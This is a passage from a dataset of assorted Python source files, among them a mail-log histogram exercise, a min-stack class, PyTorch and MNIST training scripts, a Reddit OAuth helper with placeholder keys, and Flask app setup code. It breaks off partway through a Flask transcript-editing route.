+{"seq_id":"535650944","text":"\"\"\"Debo crear un programa que abra el archivo mbox-short.txt y\nubique cada línea que comienza con la palabra 'FROM' (sin :).\nEn cada una de esas líneas, encontrar el día se la semana en que\nfue enviado cada correo. Al ir obteniendo esos resultados, elaborar\nun histograma utilizando un diccionario, y mostrar el contenido del \ndiccionario sin importar el orden de aparición de los elementos\"\"\"\n\nentrada = input(\"Ingrese el nombre del archivo: \")\nwordsDict = {}\ncontador = 0\n\ntry:\n    fhandle = open(entrada)\nexcept:\n    print(\"El archivo no existe.\")\n    exit()\n\nfor lines in fhandle:\n    if lines.startswith(\"From\"):\n        lines.lower()\n        lines.rstrip()\n        if lines[4] == \":\":\n            continue\n        words = lines.split()\n        weekday = words[2]\n        #print(weekday)\n        wordsDict[weekday] = wordsDict.get(weekday,0) + 1\nprint(wordsDict)\n","sub_path":"openfile_diccionario.py","file_name":"openfile_diccionario.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"142843536","text":"from collections import defaultdict\ndef read_file(filename, lower=False):\n    tokens = []\n    with open(filename) as fin:\n        for line in fin:\n            if lower:\n                line = line.lower()\n            tokens.extend(line.split())\n    return tokens\ndef get_count(words, pos_tags):\n    count = defaultdict(lambda: defaultdict(int))\n    for word, pos_tag in zip(words, pos_tags):\n        count[word][pos_tag] += 1\n    return count\n\ndef get_vocab(vocab_file):\n    words = []\n    with open(vocab_file) as fin:\n        for line in fin:\n            words.append(line.split()[0])\n    return words\n\ndef get_data(count, pos_words):\n    tie_count = 0\n    pos2idx = {}\n    with open('pos_vocab_noties.txt', 'wt') as fout:\n        with open('pos_y_noties.txt', 'wt') as fout_y:\n            for word_idx, word in enumerate(pos_words):\n                max_count = 0\n                count_list = [(x, y) for x, y in count[word].items()]\n                all_count = sum(count[word].values())\n                if all_count >= 100:\n                    count_list = sorted(count_list, key=lambda x: -x[1])\n                    tie = False\n                    if len(count_list) > 1:\n                        if count_list[0][1] <= all_count/2:\n                            tie = True\n                        #if count_list[0][1] == count_list[1][1]:\n                        #    tie_count += 1\n                        #    tie = True\n                    if not tie:\n                        fout.write(word)\n                        fout.write('\\n')\n                        gold_pos = count_list[0][0]\n                        fout_y.write(gold_pos + ' ')\n                        if gold_pos not in pos2idx:\n                            pos2idx[gold_pos] = len(pos2idx)\n                        fout_y.write(str(pos2idx[gold_pos]))\n                        fout_y.write('\\n')\n            \n\nif __name__ == '__main__':\n    sent_file = '/data/lily/jk964/models/WSJ/sents/train.txt'\n    pos_file = '/data/lily/jk964/models/WSJ/gold_pos/train.txt'\n    vocab_file = 'scripts/jabberwocky/pos_vocab.txt'\n    words = read_file(sent_file, True)\n    pos_tags = read_file(pos_file)\n    assert(len(words) == len(pos_tags))\n    count = get_count(words, pos_tags)\n    pos_words = get_vocab(vocab_file)\n    get_data(count, pos_words)\n","sub_path":"scripts/jabberwocky/create_pos_vocab.py","file_name":"create_pos_vocab.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"143355469","text":"import datetime as dt\n\nclass Generator:\n    def __init__(self, start, factor, criteria):\n        self.current = start\n        self.bin = bin(start)\n        self.factor = factor\n        self._criteria = criteria\n        self._divider = 2147483647\n\n    def next(self):\n        self.current = (self.current * self.factor) % self._divider\n        self.bin = bin(self.current)\n\n    def get_16_bits(self):\n        if self.current % self._criteria == 0:\n            return self.bin[-16:]\n        else:\n            return None\n\n\nif __name__ == '__main__':\n    match = 0\n    a = Generator(512, 16807, 4)\n    b = Generator(191, 48271, 8)\n\n    start_time = dt.datetime.now()\n    print('Start: ', str(start_time))\n\n    for i in range(5000000):\n        if i % 100000 == 0:\n            print(i)\n\n        a_bits = None\n        while a_bits is None:\n            a.next()\n            a_bits = a.get_16_bits()\n\n        b_bits = None\n        while b_bits is None:\n            b.next()\n            b_bits = b.get_16_bits()\n\n        if a_bits == b_bits:\n            match += 1\n            print('match: ', match)\n\n    end_time = dt.datetime.now()\n    print('End: ', str(end_time))\n    print('Took: {0}'.format(str(end_time-start_time)))\n\n    print('\\nfinal: ', match)\n\n","sub_path":"day15/second_part.py","file_name":"second_part.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"370541368","text":"import fasttext\r\nfrom config import parse_config\r\nfrom data_loader import DataBatchIterator\r\n\r\n\r\ndef main():\r\n    # 读配置文件\r\n    config = parse_config()\r\n    # 载入测试集合\r\n    test_data = DataBatchIterator(\r\n        config=config,\r\n        is_train=False,\r\n        dataset=\"test\",\r\n        # batch_size=config.batch_size)\r\n    )\r\n    # test_data.set_vocab(vocab)\r\n    test_data.load()\r\n    print(test_data.vocab)\r\n\r\n    train_data = DataBatchIterator(\r\n        config=config,\r\n        is_train=True,\r\n        dataset=\"train\",\r\n        batch_size=config.batch_size,\r\n        shuffle=True)\r\n    train_data.load()\r\n\r\n    model = fasttext.skipgram(train_data, 'model')\r\n    classifier = fasttext.supervised(test_data, 'model')\r\n","sub_path":"ft.py","file_name":"ft.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"493654250","text":"#Ex app_userAgent = 'MySoccerB0t v0.1'\napp_userAgent = '<YourSoccerBotAgent>'\napp_clientId = '<YourAppKey>'\napp_appSecret = '<YourAppSecret>'\n#Ex: app_callbackURI = 'http://127.0.0.1:65010/authorize_callback'\napp_callbackURI = '<YourCallbackUri>'\napp_scope = ['edit','flair','history', 'identity', 'modconfig', 'modcontributors', 'modflair', 'modlog', 'modposts', 'modself', 'modwiki', 'mysubreddits', 'privatemessages', 'read', 'report', 'save', 'submit', 'subscribe', 'vote', 'wikiedit', 'wikiread']\n\nimport praw\nimport OAuth2Util\nfrom PrintHelper import tPrint\n\ndef login(configFile):\n    tPrint(\"Logging In\")\n    r = praw.Reddit(app_userAgent)\n    o = OAuth2Util.OAuth2Util(r, configfile=configFile) \n    o.refresh(force=True)\n    tPrint(\"Logged In\")\n    return r","sub_path":"SoccerBot/Helpers/AuthHelper.py","file_name":"AuthHelper.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"125509305","text":"import sqlite3\n\nimport discord\nfrom discord.ext.commands import Bot, Cog, command\n\nfrom bot.constants import DATABASE_PATH\n\nclass ServerRef(Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @Cog.listener()\n    async def on_guild_channel_update(self, before: discord.abc.GuildChannel,\n                                      after: discord.abc.GuildChannel):\n        connect(after)\n\n    @Cog.listener()\n    async def on_guild_join(self, guild: discord.Guild):\n        pass\n\nasync def connect(message: discord.Message):\n    conn = sqlite3.connect(DATABASE_PATH)\n    c = conn.cursor()\n\n    c.execute(sql=\"\"\"INSERT INTO serverref (guild_id, guild_name, channel,\n              channel_name, last_channel_update, last_channel_activity,\n              last_guild_update, last_guild_activity)\n              VALUES(?,?,?,?,?,?,?,?,?)\"\"\",\n    )\n\n    conn.close()\n\ndef setup(bot):\n    bot.add_cog(ServerRef(bot))\n    print(\"Loaded cog: Data.ServerRef\")\n","sub_path":"bot/cogs/data/serverref.py","file_name":"serverref.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"161316937","text":"import sys\n\ndef printRWWeightsLinkedByCommentsUserMentions(ownerUserIdPostsInput, postTagWeightsInput, edgesLinkedByCommentsUserMentions, rwWeightsLinkedByCommentsUserMentionsOutput):\n\n\tpostTagWeights = {}\n\tpostTagWeightsInputFile = open(postTagWeightsInput, 'r')\n\tfor line in postTagWeightsInputFile:\n\t\tlineParts = line.strip('\\n').strip().split(' ')\n\t\tpostId = lineParts[0]\n\t\ttag = lineParts[1]\n\t\tweight = float(lineParts[2])\n\t\tif postId not in postTagWeights.keys():\n\t\t\tpostTagWeights[postId] = {}\n\t\tpostTagWeights[postId][tag] = weight\t\n\n\tpostTagWeightsInputFile.close()\n\n\townerUserIdPostsInputFile = open(ownerUserIdPostsInput, 'r')\n\townerUserIdPosts = {}\n\n\tfor line in ownerUserIdPostsInputFile:\n\t\tlineParts = line.strip('\\n').strip().split(' ')\n\t\townerUserId = lineParts[0]\n\t\tpostIds = lineParts[1:]\n\t\townerUserIdPosts[ownerUserId] = postIds\n\n\townerUserIdPostsInputFile.close()\n\n\tedgesLinkedByCommentsUserMentionsFile = open(edgesLinkedByCommentsUserMentions, 'r')\n\trwWeightsLinkedByCommentsUserMentionsOutputFile = open(rwWeightsLinkedByCommentsUserMentionsOutput, 'w')\n\n\tfor line in edgesLinkedByCommentsUserMentionsFile:\n\t\tlineParts = line.strip('\\n').strip().split(' ')\n\t\tuser1 = lineParts[0]\n\t\tuser2 = lineParts[1]\n\t\tif user1 in ownerUserIdPosts.keys() and user2 in ownerUserIdPosts.keys():\n\t\t\tpostIds1 = ownerUserIdPosts[user1]\n\t\t\tpostIds2 = ownerUserIdPosts[user2]\n\t\t\tfor i in xrange(0,len(postIds1)):\n\t\t\t\tpostId1 = postIds1[i]\n\t\t\t\tfor j in xrange(0,len(postIds2)):\n\t\t\t\t\tpostId2 = postIds2[j]\n\t\t\t\t\tif postId1 in postTagWeights.keys() and postId2 in postTagWeights.keys():\n\t\t\t\t\t\tfor tag1,weight1 in postTagWeights[postId1].items():\n\t\t\t\t\t\t\tfor tag2,weight2 in postTagWeights[postId2].items():\n\t\t\t\t\t\t\t\trwWeightsLinkedByCommentsUserMentionsOutputFile.write( \\\n\t\t\t\t\t\t\t\t\tstr(postId1) + ' ' + \\\n\t\t\t\t\t\t\t\t\tstr(postId2) + ' ' + \\\n\t\t\t\t\t\t\t\t\tstr(tag1) + ' ' + \\\n\t\t\t\t\t\t\t\t\tstr(tag2) + ' ' + \\\n\t\t\t\t\t\t\t\t\tstr(weight1) + ' ' + \\\n\t\t\t\t\t\t\t\t\tstr(weight2) + ' ' + \\\n\t\t\t\t\t\t\t\t\tstr(weight1*weight2) + '\\n' \\\n\t\t\t\t\t\t\t\t)\n\n\tedgesLinkedByCommentsUserMentionsFile.close()\t\t\t\t\t\t\n\trwWeightsLinkedByCommentsUserMentionsOutputFile.close()\n\n\ndef main():\n\tprintRWWeightsLinkedByCommentsUserMentions(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"ver1/genLinkedByCommentsUserMentionsMetapathRandomWalkWeights.py","file_name":"genLinkedByCommentsUserMentionsMetapathRandomWalkWeights.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"330133369","text":"class QueryProcessor:\n    def __init__(self, intent_classifier, ranker, chitchat_responder):\n        self.intent_classifier = intent_classifier\n        self.ranker = ranker\n        self.chitchat_responder = chitchat_responder\n\n    def generate_response(self, query):\n        intent = self.intent_classifier.predict_intent(query)\n        if intent == 'CHITCHAT':\n            response = str(self.chitchat_responder.get_response(query))\n            return response\n        elif intent == 'IR':\n            result_ids = self.ranker.search(query, 3)#, 'lsh_sqlite')\n            url_pattern = 'https://stackoverflow.com/questions/{}/\\n'\n            response = 'Try looking at these links:\\n'\n            for result_id in result_ids:\n                response += url_pattern.format(result_id)\n            return response\n        else:\n            raise RuntimeError('Unkonwn query intent.')","sub_path":"bot/query_processor.py","file_name":"query_processor.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"213634970","text":"import os\nimport torch.utils.data\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\n\ndef get_loader(dataroot, batch_size, num_workers, image_size, shuffle=True):\n    train_path = os.path.join(dataroot, \"train/\")\n    tr_dataset = dset.ImageFolder(root=train_path,\n                                   transform=transforms.Compose([\n                                       transforms.Resize(image_size),\n                                       transforms.CenterCrop(image_size),\n                                       transforms.ToTensor(),\n                                       transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n                                   ]))\n\n\n    assert tr_dataset\n    tr_dataloader = torch.utils.data.DataLoader(tr_dataset,\n                                             batch_size=batch_size,\n                                             shuffle=True,\n                                             num_workers=num_workers)\n\n\n    test_path = os.path.join(dataroot, \"test/\")\n    ts_dataset = dset.ImageFolder(root=dataroot,\n                               transform=transforms.Compose([\n                                   transforms.Resize(image_size),\n                                   transforms.CenterCrop(image_size),\n                                   transforms.ToTensor(),\n                                   transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n                               ]))\n    assert ts_dataset\n    ts_dataloader = torch.utils.data.DataLoader(ts_dataset,\n                                             batch_size=batch_size,\n                                             shuffle=False,\n                                             num_workers=num_workers)\n\n    return tr_dataloader, ts_dataloader\n","sub_path":"Pytorch_Tutorials/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"267470973","text":"import os\nimport tensorflow as tf\nfrom tf_labs.optimizers import Adam\nfrom tf_labs.losses import categorical_loss\nfrom tf_labs.base import CheckPointManager\nimport functools\n\nfrom tf_labs.datasets import mnist\nimport math\n\nfrom absl import app\nfrom absl import flags\nfrom tf_labs.utils import plot_images, ModelRegister,image_input, make_one_hot\nimport models\nimport run_loop\n\nFLAGS = flags.FLAGS\nflags.DEFINE_string(\"image_data_format\", \"channels_last\", \"Image data format\")\nflags.DEFINE_integer(\"epochs\", 1, \"N. of epochs\")\nflags.DEFINE_integer(\"batch_size\", 128, \"N. samples in mini-batch\")\nflags.DEFINE_string(\"model\", \"conv\", \"Model selection\")\nflags.DEFINE_string(\"data\", \"env/data\", \"Data folder\")\nflags.DEFINE_bool(\"plot\", True, \"Plot samples and result\")\n\n\ndef data_generator(dataset, batch_size, shuffle=False, fns=None):\n    current_step = 0\n    fns = fns or []\n\n    dataset = tf.data.Dataset.from_tensor_slices(dataset)\n    if shuffle:\n        dataset = dataset.shuffle(5000)\n\n    if len(fns) > 0:\n        def _aug(x, y):\n            for fn in fns:\n                x, y = fn(x, y)\n            return x, y\n\n        dataset = dataset.map(_aug)\n\n    dataset = dataset.repeat().batch(batch_size).prefetch(2)\n    for data in dataset:\n        current_step += 1\n        yield data\n\n\n@tf.function\ndef train_fn(model, optimizer, loss_fn, x, y):\n    with tf.GradientTape() as tape:\n        p = model(x, training=True)\n        loss = loss_fn(p, y)\n    variables = tape.watched_variables()\n    gradients = tape.gradient(loss, variables)\n    optimizer.apply_gradients(gradients, variables)\n\n    loss = tf.reduce_mean(loss)\n    return p, loss\n\n\n@tf.function\ndef test_fn(model, loss_fn, x, y):\n    p = model(x)\n    loss = loss_fn(p, y)\n    loss = tf.reduce_mean(loss)\n    return p, loss\n\n\ndef main(argv):\n    batch_size = FLAGS.batch_size\n    epochs = FLAGS.epochs\n    model_name = FLAGS.model\n    data_path = FLAGS.data\n    should_plot = FLAGS.plot\n    model_conf = ModelRegister.MODELS[model_name]\n    input_shape = (-1,) + model_conf['input_shape']\n\n    train_x, train_y = mnist.train(data_path)\n    test_x, test_y = mnist.test(data_path)\n\n    if should_plot:\n        plot_images(train_x[:9].reshape((3, 3, 28, 28, 1)),\n                    labels=train_y[:9].reshape((3, 3)),\n                    figsize=(8, 8), cmap='gray', switch_axes=True)\n\n    train_x = train_x.reshape(input_shape)\n    train_y = make_one_hot(train_y, 10)\n\n    test_x = test_x.reshape(input_shape)\n    test_y = make_one_hot(test_y, 10)\n\n    model = model_conf['class']()\n    optimizer = Adam(1e-3)\n\n    train_step = functools.partial(train_fn, model, optimizer, categorical_loss)\n    test_step = functools.partial(test_fn, model, categorical_loss)\n\n    image_tensor = image_input(normalize=True)\n    train_generator = data_generator((train_x, train_y), batch_size, shuffle=True, fns=[image_tensor])\n    train_max_steps = math.ceil(len(train_y) / batch_size)\n    test_generator = data_generator((test_x, test_y), batch_size, shuffle=True, fns=[image_tensor])\n    test_max_steps = math.ceil(len(test_y) / batch_size)\n\n    checkpoint_manager = CheckPointManager('env/train', name=model_name, model=model, optimizer=optimizer)\n    # checkpoint_manager.load_if_exists()\n    last_epoch = checkpoint_manager.last_epoch or 0\n\n    for epoch in range(last_epoch, epochs):\n        train_loss, train_acc = run_loop.train_loop(train_step, train_generator, epoch, train_max_steps,\n                                                    checkpoint_manager)\n\n    test_loss, test_acc = run_loop.test_loop(test_step, test_generator, test_max_steps)\n\n\nif __name__ == '__main__':\n    app.run(main)\n","sub_path":"experiments/mnist_classification/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"211061938","text":"#!/usr/bin/python\n\n#from os import walk\nimport os\nimport shutil\nimport re\n\nmonth_text = [\n    '', \n    'januari', \n    'februari', \n    'mars', \n    'april', \n    'maj', \n    'juni', \n    'juli', \n    'augusti', \n    'september', \n    'oktober', \n    'november', \n    'december'\n    ]\n\n#months = [\"jan\",\"feb\"\n\n#srcpath = \"/home/mats/haxing/file_parser/input/\"\n#dstpath = \"/home/mats/haxing/file_parser/output/\"\nsrcpath = \"./Timelapse/\"\ndstpath = \"./Timelapse/\"\n\nfor (dirpath, dirnames, filenames) in os.walk(srcpath):\n#    print dirpath\n#    print dirnames\n#    print filenames\n    print(dirpath+' : '+str(len(filenames)))\n    \n\n#    for filename in filenames:\n#        print(\"AAAAAAAAAAAAAAAAA\")\n#        match = re.search('saxtorp(\\d+)-(\\d+)-(\\d+)_(\\d+)-(\\d+)-(\\d+)*', filename)\n#        if match:\n#            (year, month, date, hour, minute, second) = match.groups()\n#            fromfile = dirpath+\"/\"+filename\n#            topath = dstpath+\"20\"+year+\"-\"+month+\"-\"+date+\"/\"\n            #            print(\"FILE: \"+filename)\n#            print(\"Copy\")\n#            print(\"From: \"+fromfile)\n#            print(\"To  : \"+topath)\n        \n#            if not os.path.exists(topath):\n#                os.makedirs(topath)\n#            shutil.move(fromfile, topath)\n            #shutil.copy2(fromfile, topath)\n\n\n","sub_path":"timelaps_statistics.py","file_name":"timelaps_statistics.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"139029831","text":"import json\nimport numpy as np\n\nimport json\nimport zmq\n\nfrom zmq.eventloop import ioloop, zmqstream\nioloop.install()\n\nclass MessageHandler(object):\n\n    def __init__(self):\n        self.context             = zmq.Context()\n        self.sending_data_to_web = False\n        self.sending_images      = False\n        self.win_rate            = 0\n\n    def set_image_socket(self, port):\n        self.image_socket   = self._create_socket(port)\n        self.sending_images = True\n        self.rendering      = True\n\n    def set_data_socket(self, port):\n        self.data_socket            = self._create_socket(port)\n        self.sending_data_to_web    = True\n\n    def _create_socket(self, port):\n        tmp = self.context.socket(zmq.PUSH)\n        tmp.bind(\"tcp://*:%s\" % port)\n        return tmp\n\n    def send_image(self, imarray):\n        if self.sending_images:\n            try:\n                self.image_socket.send(imarray, zmq.NOBLOCK)\n            except (KeyboardInterrupt, SystemExit):\n                self.image_socket.send('close')\n                self.sending_images = False\n            except zmq.error.Again as e:\n                print(e)\n\n    def print_statistics(self, **kwargs): #game, iteration, n_wins, action, primary_Q_out, state):\n        for k, v in kwargs.items():\n            setattr(self, k, v)\n        self._print_to_terminal()\n        self._send_data_to_webserver()\n\n    def _print_to_terminal(self):\n        print(\"Current game iteration:\", self.game, self.iteration)\n        print(\"Wins: %d\" % self.wins)\n        print(\"Action: %d\" % self.action)\n        print(\"Q_vals primary:\", self.primary_Q_out[0])\n        print(\"State:\", self.state)\n        print(\"Average winrate over last 20 iterations: %3f\" % self.win_rate)\n\n    def _send_data_to_webserver(self):\n        if self.sending_data_to_web:\n            data_to_send = {'game': self.game,\n                            'iteration': self.iteration,\n                            'wins': self.wins,\n                            'action': self.action,\n                            'win_rate': self.win_rate\n                            }\n            def add_numpy(denominator, array):\n                for i in range(array.size):\n                    val = '%4f' % array.item(i)\n                    key = denominator + str(i)\n                    data_to_send[key] = val\n\n            add_numpy(\"Q\", self.primary_Q_out)\n            add_numpy(\"S\", self.state)\n            json_string = json.dumps(data_to_send)\n            self.data_socket.send_json(json_string)\n","sub_path":"algorithm/message_handler.py","file_name":"message_handler.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"503523332","text":"# Push(x) : Inserts x at the top of stack.\r\n\r\n\r\n\r\n# If stack is empty, insert x into the stack and make minEle equal to x.\r\n# If stack is not empty, compare x with minEle. Two cases arise:\r\n# If x is greater than or equal to minEle, simply insert x.\r\n# If x is less than minEle, insert (2*x – minEle) into the stack and make minEle equal to x. For example, let previous minEle was 3. Now we want to insert 2. We update minEle as 2 and insert 2*2 – 3 = 1 into the stack.\r\n\r\n\r\n# Pop() : Removes an element from top of stack.\r\n\r\n# Remove element from top. Let the removed element be y. Two cases arise:\r\n# If y is greater than or equal to minEle, the minimum element in the stack is still minEle.\r\n# If y is less than minEle, the minimum element now becomes (2*minEle – y), so update (minEle = 2*minEle – y). This is where we retrieve previous minimum from current minimum and its value in stack. For example, let the element to be removed be 1 and minEle be 2. We remove 1 and update minEle as 2*2 – 1 = 3.\r\n\r\n\r\n\r\n# Class to make a Node \r\nclass Node: \r\n\t# Constructor which assign argument to nade's value \r\n\tdef __init__(self, value): \r\n\t\tself.value = value \r\n\t\tself.next = None\r\n\r\n\t# This method returns the string representation of the object. \r\n\tdef __str__(self): \r\n\t\treturn \"Node({})\".format(self.value) \r\n\t\r\n\t# __repr__ is same as __str__ \r\n\t__repr__ = __str__ \r\n\r\n\r\nclass Stack: \r\n\t# Stack Constructor initialise top of stack and counter. \r\n\tdef __init__(self): \r\n\t\tself.top = None\r\n\t\tself.count = 0\r\n\t\tself.minimum = None\r\n\t\t\r\n\t# This method returns the string representation of the object (stack). \r\n\tdef __str__(self): \r\n\t\ttemp = self.top \r\n\t\tout = [] \r\n\t\twhile temp: \r\n\t\t\tout.append(str(temp.value)) \r\n\t\t\ttemp = temp.next\r\n\t\tout = '\\n'.join(out) \r\n\t\treturn ('Top {} \\n\\nStack :\\n{}'.format(self.top,out)) \r\n\t\t\r\n\t# __repr__ is same as __str__ \r\n\t__repr__=__str__ \r\n\t\r\n\t# This method is used to get minimum element of stack \r\n\tdef getMin(self): \r\n\t\tif self.top is None: \r\n\t\t\treturn \"Stack is empty\"\r\n\t\telse: \r\n\t\t\tprint(\"Minimum Element in the stack is: {}\" .format(self.minimum)) \r\n\r\n\r\n\r\n\t# Method to check if Stack is Empty or not \r\n\tdef isEmpty(self): \r\n\t\t# If top equals to None then stack is empty \r\n\t\tif self.top == None: \r\n\t\t\treturn True\r\n\t\telse: \r\n\t\t# If top not equal to None then stack is empty \r\n\t\t\treturn False\r\n\r\n\t# This method returns length of stack\t \r\n\tdef __len__(self): \r\n\t\tself.count = 0\r\n\t\ttempNode = self.top \r\n\t\twhile tempNode: \r\n\t\t\ttempNode = tempNode.next\r\n\t\t\tself.count+=1\r\n\t\treturn self.count \r\n\r\n\t# This method returns top of stack\t \r\n\tdef peek(self): \r\n\t\tif self.top is None: \r\n\t\t\tprint (\"Stack is empty\") \r\n\t\telse: \r\n\t\t\tif self.top.value < self.minimum: \r\n\t\t\t\tprint(\"Top Most Element is: {}\" .format(self.minimum)) \r\n\t\t\telse: \r\n\t\t\t\tprint(\"Top Most Element is: {}\" .format(self.top.value)) \r\n\r\n\t# This method is used to add node to stack \r\n\tdef push(self,value): \r\n\t\tif self.top is None: \r\n\t\t\tself.top = Node(value) \r\n\t\t\tself.minimum = value \r\n\t\t\r\n\t\telif value < self.minimum: \r\n\t\t\ttemp = (2 * value) - self.minimum \r\n\t\t\tnew_node = Node(temp) \r\n\t\t\tnew_node.next = self.top \r\n\t\t\tself.top = new_node \r\n\t\t\tself.minimum = value \r\n\t\telse: \r\n\t\t\tnew_node = Node(value) \r\n\t\t\tnew_node.next = self.top \r\n\t\t\tself.top = new_node \r\n\t\tprint(\"Number Inserted: {}\" .format(value)) \r\n\r\n\t# This method is used to pop top of stack \r\n\tdef pop(self): \r\n\t\tif self.top is None: \r\n\t\t\tprint( \"Stack is empty\") \r\n\t\telse: \r\n\t\t\tremovedNode = self.top.value \r\n\t\t\tself.top = self.top.next\r\n\t\t\tif removedNode < self.minimum: \r\n\t\t\t\tprint (\"Top Most Element Removed :{} \" .format(self.minimum)) \r\n\t\t\t\tself.minimum = ( ( 2 * self.minimum ) - removedNode ) \r\n\t\t\telse: \r\n\t\t\t\tprint (\"Top Most Element Removed : {}\" .format(removedNode)) \r\n\r\n\t\t\t\t\r\n\t\t\t\r\n\t\r\n# Driver program to test above class \r\nstack = Stack() \r\n\r\nstack.push(3) \r\nstack.push(5) \r\nstack.getMin() \r\nstack.push(2) \r\nstack.push(1) \r\nstack.getMin()\t \r\nstack.pop() \r\nstack.getMin() \r\nstack.pop() \r\nstack.peek() \r\n\r\n# This code is contributed by Blinkii \r\n","sub_path":"Stack with Min Element.py","file_name":"Stack with Min Element.py","file_ext":"py","file_size_in_byte":4023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"552885717","text":"# Creates application object. File used as a starting point.\n\nfrom flask import Flask\nfrom config import Config\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom flask_login import LoginManager\nimport logging\nfrom logging.handlers import SMTPHandler, RotatingFileHandler\nimport os\nfrom flask_mail import Mail\nfrom werkzeug.utils import secure_filename\nfrom flask_bootstrap import Bootstrap\n\nmg_app_object = Flask(__name__)\nmg_app_object.config.from_object(Config)\n# Database object to represetn the database.\nmg_db_object = SQLAlchemy(mg_app_object)\n# Object to represent the migration engine.\nmigrate = Migrate(mg_app_object, mg_db_object)\n# Creates and initializes Flask-Login\nlogin = LoginManager(mg_app_object)\n# Flask-Login forces users to authenticate before they can access certain content\n# Flask-Login will redirect user to login form, and only redirect back once the\n# login process is complete. The login value is the login view (routes).\nlogin.login_view='login'\n# bootstrap/base.html template becomes available. You can reference with the extends command\nbootstrap = Bootstrap(mg_app_object)\n\n# Runs the email logger when debug mode is DISABLED.\nif not mg_app_object.debug:\n    if mg_app_object.config['MAIL_SERVER']:\n        auth = None\n        if mg_app_object.config['MAIL_USERNAME'] or mg_app_object.config['MAIL_PASSWORD']:\n            auth = (mg_app_object.config['MAIL_USERNAME'], mg_app_object.config['MAIL_PASSWORD'])\n        secure = None\n        if mg_app_object.config['MAIL_USE_TLS']:\n            secure = ()\n        mail_handler = SMTPHandler(\n            mailhost=(mg_app_object.config['MAIL_SERVER'], mg_app_object.config['MAIL_PORT']),\n            fromaddr='no-reply@' + mg_app_object.config['MAIL_SERVER'],\n            toaddrs=mg_app_object.config['ADMINS'], subject='M&G Production Failure Notification Email',\n            credentials=auth, secure=secure)\n        mail_handler.setLevel(logging.ERROR)\n        mg_app_object.logger.addHandler(mail_handler)\n\n# Enabling File Logging\n    if not os.path.exists('logs'):\n        os.mkdir('logs')\n    file_handler = RotatingFileHandler('logs/Mettle_and_Grit_Production.log', maxBytes=10240,\n                                       backupCount=10)\n    file_handler.setFormatter(logging.Formatter(\n        '%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]'))\n    file_handler.setLevel(logging.INFO)\n    mg_app_object.logger.addHandler(file_handler)\n\n    mg_app_object.logger.setLevel(logging.INFO)\n    mg_app_object.logger.info('-----===[ Mettle And Grit Flask Application Startup ]===-----')\n\nmail = Mail(mg_app_object)\n\n# The bottom import here is a workaround to 'circular imports'\n# models will define the structure of the database.\n\nUPLOAD_FOLDER = '/path/to/the/uploads'\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}\nmg_app_object.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\nfrom mettle_and_grit_app_package import routes, models, error\n","sub_path":"mettle_and_grit_app_package/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"586560860","text":"#rahul pandit\nfrom flask import Flask, request, jsonify, json, make_response, redirect, session, send_from_directory,flash\n\nfrom flask import Flask, render_template, flash, redirect, url_for, session, request, logging,make_response\nimport pandas as pd\nimport json\n\napp = Flask(__name__)\n\n@app.route('/',methods=['GET'])\ndef thanks():\n\n\t# patients_df = pd.read_json('./static/sample.json')\n\t\n\n\tjoe_aws = open(\"./static/sample.json\")\n\tjoe_aws = json.load(joe_aws)\n\n\tAsyncData=[]\n\n\tfor i in range(0,len(joe_aws)):\n\t    for j in range(0,len(joe_aws[i]['words'])):\n\t        AsyncData.append({'end':joe_aws[i]['words'][j]['end_time'],'start':joe_aws[i]['words'][j]['start_time'],'text':joe_aws[i]['words'][j]['text']})\n\t    \n\n\text='mp3'\n\n\tfileName=\"http://localhost:5000/static/sample.json\"\n\n\treturn render_template('transcript.html',AsyncData=AsyncData,fileFormat=True,fileName=fileName)\n\n\n\n@app.route('/TranscriptSpeakerEditable',methods=['GET','POST'])\ndef TranscriptSpeakerEditable():\n\told_data=request.form['old_value']\n\tnew_data=request.form['new_value']\n\n\n\tprint(old_data,new_data)\n\n\tjoe_aws = open(\"./static/sample.json\")\n\tjoe_aws = json.load(joe_aws)\n\n\t# AsyncData=[]\n\n\t# for i in 